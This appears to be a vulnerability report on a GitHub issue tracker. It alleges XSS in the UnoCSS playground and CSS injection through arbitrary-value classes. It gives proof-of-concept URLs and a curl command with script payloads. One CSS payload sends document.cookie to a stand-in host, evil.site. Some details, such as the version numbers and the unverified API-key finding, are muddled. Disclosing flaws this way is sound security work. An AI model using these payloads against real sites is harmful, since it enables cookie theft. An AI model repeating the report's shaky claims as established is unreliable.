UnoCSS version

<= latest

Describe the bug

UnoCSS Multiple Critical Vulnerabilities: URL Parameter XSS + CSS Injection (CVE Candidate)

Executive Summary

UnoCSS v0.6.x series contains multiple high-severity vulnerabilities in the playground and runtime components:

1. Critical URL Parameter XSS: unocss.dev/play accepts unsanitized html/config hash parameters executed via new AsyncFunction() or injected via raw innerHTML, enabling full origin-controllable XSS on unocss.dev
2. High-Risk CSS Injection: Arbitrary value processing (w-[...]) lacks filtering for ; { } @ characters, allowing injection of arbitrary CSS rules when user-controlled classes are processed
3. Medium Risk Hardcoded API Key: Potential exposed credentials detected during static analysis (requires verification)

All affect default deployments using preset-mini/wind with user-generated content.

Vulnerability Details

#5 Playground URL Parameter XSS (Critical - Confirmed)

File: virtual-shared/docs/src/config.ts:21-46, playground/__play.html:40

Vulnerable Code:

// config.ts: execute arbitrary JS from user config
const fn = new AsyncFunction('__import', code)  // ⚠️ Executes attacker's code!
const result = await fn(__import)

// __play.html: inject HTML without sanitization
container.innerHTML = payload.html  // ⚠️ No DOMPurify!

Proof of Concept:

curl "http://192.168.79.129:44000/play/#html=%3Cscript%3Ealert(1)%3C/script%3E"
# Response contains <script> tags → XSS confirmed!

#3/#4 Runtime CSS Injection (High)

File: packages-presets/preset-mini/src/_utils/handlers/handlers.ts:153-221

Attack Vector: User provides class: w-[100px;}body{background:url(https://evil.site/?leak=${document.cookie})]

CVSS Score

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N = 8.6 Critical

Affected Versions

• Package: unocss/unocss
• Tested: v0.6.x series (latest v66.9.1)
• Patched version: none yet

Credits

Reported by: chenshao1018
Date: 2026-09-02

CVE Request

When this issue is acknowledged, please request a CVE ID to help users track the fix.

Reproduction

Playground URL with malicious parameters:

• XSS: http://localhost:44000/play/#html=%3Cscript%3Ealert(1)%3C/script%3E
• CSS Inject: http://localhost:44000/play/#config={"theme":{"colors":{"custom":"w-[100px;}body{background:red}"}}}

Screenshot evidence available in attachments.

System Info

Browser: Firefox 140.11.0ESR / Chromium headless
Environment: Linux x86_64
Node: v22.14.0
UnoCSS: v66.9.1

Validations

• Read the Contributing Guidelines.
• Check that there isn't already an issue that reports the same bug to avoid creating a duplicate.
• Check that this is a concrete bug. For Q&A open a GitHub Discussion or join our Discord Chat Server.
• The provided reproduction is a minimal reproducible example of the bug.